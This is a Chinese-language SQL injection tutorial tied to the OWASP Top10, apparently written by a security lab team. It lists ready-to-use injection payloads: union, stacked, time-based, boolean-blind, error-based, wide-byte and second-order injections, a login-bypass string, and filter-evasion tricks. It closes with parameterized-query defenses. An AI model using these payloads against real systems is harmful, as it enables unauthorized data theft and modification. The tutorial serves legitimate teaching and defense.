【深蓝实验室天魁战队】OWASP Top10之SQL Injection
字数 2889 2025-08-12 12:08:15
SQL注入攻击与防御技术详解
0x00 OWASP Top10概述
OWASP(开放式Web应用程序安全项目)是一个开源、非盈利性的全球性安全组织,致力于改进Web应用程序安全。其最具权威的是"10项最严重的Web应用程序安全风险列表"(OWASP Top10)。
在2017版和2021版OWASP Top10中,注入攻击(SQL Injection)始终名列前茅,显示出其严重性和普遍性。
0x01 SQL注入简介
SQL注入是一种攻击方式,攻击者在字符串中插入恶意代码,然后将该字符串传递到数据库实例进行分析和执行。任何构成SQL语句的过程都可能存在注入漏洞。
常见易受攻击的接口包括:
- URL参数
- 用户登录框
- 留言板
- 搜索框
0x02 SQL注入原理
SQL注入的主要形式包括:
- 直接将代码插入到与SQL命令串联的用户输入变量中
- 将恶意代码注入要在表中存储或作为元数据存储的字符串
注入过程的工作方式:
- 提前终止文本字符串
- 追加新的命令
- 使用注释标记"--"终止注入的字符串,使后续文本被忽略
0x03 数据库基础知识
在进行SQL注入前,需要了解目标数据库类型(MySQL、Oracle、SQL Server等),因为不同数据库的语法和特性略有不同。
0x04 SQL注入分类
按参数类型分类
数字型注入
- 输入参数为整型
- 判断方法:
- 正常访问:
http://example.com/?id=1 - 加单引号报错:
http://example.com/?id=1' and 1=1正常:http://example.com/?id=1 and 1=1and 1=2异常:http://example.com/?id=1 and 1=2
- 正常访问:
字符型注入
- 参数为字符型(用单引号括起来)
- 需要关注符号闭合
- 常见闭合方式:
?id=1'--+?id=1"--+?id=1')--+?id=1")--+
按注入位置分类
GET注入
- 通过HTTP GET方式注入
- 示例:
http://example.com/?id=1' union select 1,2,3--+
POST注入
- 通过HTTP POST方式注入
- 常见于登录框
- 万能密码示例:
admin'or'1'='1
其他HTTP注入
-
Cookie注入
- 注入点在Cookie字段
- 示例:
Cookie: uname=admin'--+
-
User-Agent注入
- 修改UA头进行注入
- 示例:
User-Agent: ' and 1=1--+
-
Referer注入
- 修改Referer头进行注入
- 示例:
Referer: http://example.com/' and 1=1--+
按注入手法分类
联合查询注入
- 使用
order by判断列数:?id=1' order by 1,2,3,4--+ - 使用
union select联合查询:- 使原查询返回空:
?id=-1' union select 1,2,3--+ - 利用显示位获取数据:
?id=-1' union select 1,version(),3--+
- 使原查询返回空:
堆叠注入
- 使用分号分隔多条SQL语句
- 示例:
- 查询数据:
?id=1'; select * from users--+ - 修改数据:
?id=1'; update users set username='admin' where id=1--+
- 查询数据:
延时注入
- 利用
sleep()函数判断注入 - 示例:
- 基本判断:
?id=1' and sleep(10)--+ - 条件判断:
?id=1' and if(length(database())=8,1,sleep(10))--+
- 基本判断:
布尔盲注
- 通过页面返回的真假判断信息
- 常用函数:
left():?id=1' and left(database(),1)='s'--+like():?id=1' and (select user() like 'ro%')--+regexp():?id=1' and (select user() regexp '^ro')--+
报错注入
-
extractvalue():?id=1' and extractvalue(1,concat(0x7e,database()))--+
-
updatexml():?id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e)--+
-
floor():?id=1' union select 1,count(*),concat(floor(rand(0)*2),database())as x from information_schema.tables group by x--+
其他报错函数:
geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring()exp()
宽字节注入
- 利用GBK等宽字节编码特性
- 绕过转义:
?id=1%df%27 union select 1,2,database()--+
二次注入
- 注册恶意账号:
admin'# - 修改密码时触发:
UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass'
0x05 常见绕过技术
-
关键字过滤绕过:
- 双写:
uniunionon - 大小写:
UnIoN SeLeCt - 符号替换:
&&代替and,||代替or
- 双写:
-
空格绕过:
- 多括号:
?id=(1)and(1=1) - 注释:
/*!*/ - 特殊字符:
%0a、%09、%0d
- 多括号:
-
逗号绕过:
- 使用
join:select * from (select 1)a join (select 2)b join (select 3)c - 使用
limit offset:limit 1 offset 0
- 使用
-
编码绕过:
- 十六进制:
0x61646d696e代替'admin' - URL编码
- Unicode编码
- 十六进制:
0x06 防御措施
预编译(参数化查询)
- JSP:
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, id);
- PHP(PDO):
$stmt = $db->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();
- MyBatis:
- 使用
#{}而非${}
其他防御措施
-
输入验证:
- 白名单验证
- 类型检查(如强制转换为整数)
-
最小权限原则:
- 数据库用户只授予必要权限
-
错误处理:
- 不返回详细错误信息给客户端
-
WAF(Web应用防火墙):
- 过滤恶意请求
-
编码规范:
- 避免直接拼接SQL语句
0x07 总结
SQL注入是最常见、最危险的Web安全漏洞之一,攻击者可以利用它获取敏感数据、修改数据甚至控制服务器。防御SQL注入最有效的方法是使用预编译语句,同时结合输入验证、最小权限原则等多层防御措施。